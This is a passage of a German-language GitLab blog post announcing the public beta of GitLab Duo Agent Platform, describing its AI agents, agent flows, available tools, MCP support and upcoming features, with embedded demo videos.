allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Agent Platform Beta Launch_071625_MP_v2\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## GitLabs einzigartige Position als Orchestrierungsplattform\n\nGitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.\n\nDies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.\n\nAls intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.\n\n**Hier ist ein Beispiel für diesen Vorteil in Aktion.** Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101998114?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Deep Research Demo_071625_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung\n\nGitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben [Duo Agentic Chat](https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.\n\nWir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.\n\n> **„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben.\"** - Bal Kang, Engineering Platform Lead bei NatWest\n\n### Agenten, die sofort funktionieren\n\nWir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.\n\nHier sind einige der Agenten, die wir heute bauen:\n\n* **Chat-Agent (jetzt in Beta):** Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101953504?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-in-web-ui-demo_Update V1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **Software-Entwickler-Agent (jetzt in Beta):** Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.\n* **Produktplanungs-Agent:** Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.\n* **Software-Test-Ingenieur-Agent:** Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.\n* **Code-Review-Agent:** Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.\n* **Plattform-Ingenieur-Agent:** Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.\n* **Sicherheitsanalyse-Agent:** Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.\n* **Deployment-Ingenieur-Agent:** Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.\n* **Deep-Research-Agent:** Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.\n\nWas diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.\n\nIn den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.\n\n## Flows orchestrieren komplexe Agenten-Aufgaben\n\nZusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.\n\nWährend du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.\n\nFlows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.\n\nHier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:\n\n**Software-Entwicklungs-Flow (jetzt in Beta):** Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.\n\n**Issue-to-MR-Flow:** Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.\n\n**CI-Datei-Konvertierungs-Flow:** Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101941425?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jenkins-to-gitlab-cicd-for-blog\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n**Such- und Ersetzungs-Flow:** Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.\n\n**Incident-Response- und Root-Cause-Analyse-Flow:** Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.\n\nHier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.\n\nWir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.\n\n## Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?\n\n**Es geht schnell.** Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.\n\n**Integrierte Rechenleistung.** Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.\n\n**SDLC-Events.** Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.\n\n**Sofortiger Zugriff.** Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1102029239?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"assigning an agent an issue\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script> \u003Cp>\u003C/p>\n\n**Unterstützung integrierter und benutzerdefinierter Modelle.** Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!\n\n**Model Context Protocol (MCP) Endpunkte.** Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.\n\n**Observability und Sicherheit.** Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.\n\n## Eine von der Community getriebene Zukunft\n\nCommunity-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.\n\nWir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.\n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png \"AI Catalog\")\n\n## Heute verfügbar in GitLab Duo Agent Platform in Public Beta\n\nDie Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:\n\n**Software-Entwicklungs-Flow:** Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.\n\n**Neue verfügbare Agenten-Tools:** Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:\n\n* Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)\n* Befehlszeile ausführen*\n* Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)\n* Epics (Abrufen, Kommentare abrufen)\n* MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)\n* Pipeline (Job-Logs, Pipeline-Fehler)\n* Projekt (Abrufen, Datei abrufen)\n* Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)\n* Suche (Issue-Suche)\n* Secure (Schwachstellen auflisten)\n* Dokumentationssuche\n  *=Erfordert Benutzergenehmigung\n\n**GitLab Duo Agentic Chat in der IDE:** Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101953477?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-ai-launch-video_Updated V1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Iteratives Feedback und Chat-Verlauf:** Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743173?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"agentic-chat-history\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Optimierte Delegation mit Slash-Befehlen:** Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache\" für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743187?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"include-agentic-chat-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Personalisierung durch benutzerdefinierte Regeln:** Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743179?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"custom-rules-with-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE:** Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743193?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"jetbrains-support-jc-voiceover\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **MCP-Client-Unterstützung:** Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.\n\nDiese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101743202?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"McpDemo\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **GitLab Duo Agentic Chat in der GitLab Web-UI.** Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum\" hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.\n\n## Bald verfügbar in GitLab Duo Agent Platform\n\nIn den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:\n\n![GitLab Duo Agent Platform public beta roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png \"GitLab Duo Agent Platform public beta roadmap\")\n\n* **Integrierte GitLab-Erfahrung:** Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.\n* **Agenten-Observability:** Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.\n* **KI-Katalog:** In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.\n* **Knowledge Graph:** Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.\n\n![GitLab Duo Agent Platform Knowledge Graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png \"GitLab Duo Agent Platform Knowledge Graph\")\n\n* **Agenten und Flows erstellen und bearbeiten:** Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.\n\n![AI Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png \"AI Catalog\")\n\n* **Offizieller GitLab MCP-Server:** In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.\n* **GitLab Duo Agent Platform CLI:** Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.\n\n## Jetzt loslegen\n\n* **GitLab Premium- und Ultimate-Kund(inn)en** in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo [müssen aktiviert sein](https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features)).\n* Nutzer(innen) sollten die [VS Code-Erweiterung](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) oder das [JetBrains IDEs-Plugin](https://plugins.jetbrains.com/plugin/22857-gitlab) herunterladen und unserem [Leitfaden zur Verwendung von GitLab Duo Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat) folgen, einschließlich der Duo Chat [Slash-Befehle](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands).\n\n**Neu bei GitLab?** Jeder kann an unserer kommenden (englischsprachigen) [Technischen Demo teilnehmen, um GitLab Duo Agent Platform](https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html) in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine [kostenlose Testversion](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fsales%2F) an.\n\n\u003Csmall>*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.*\n\n*Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich 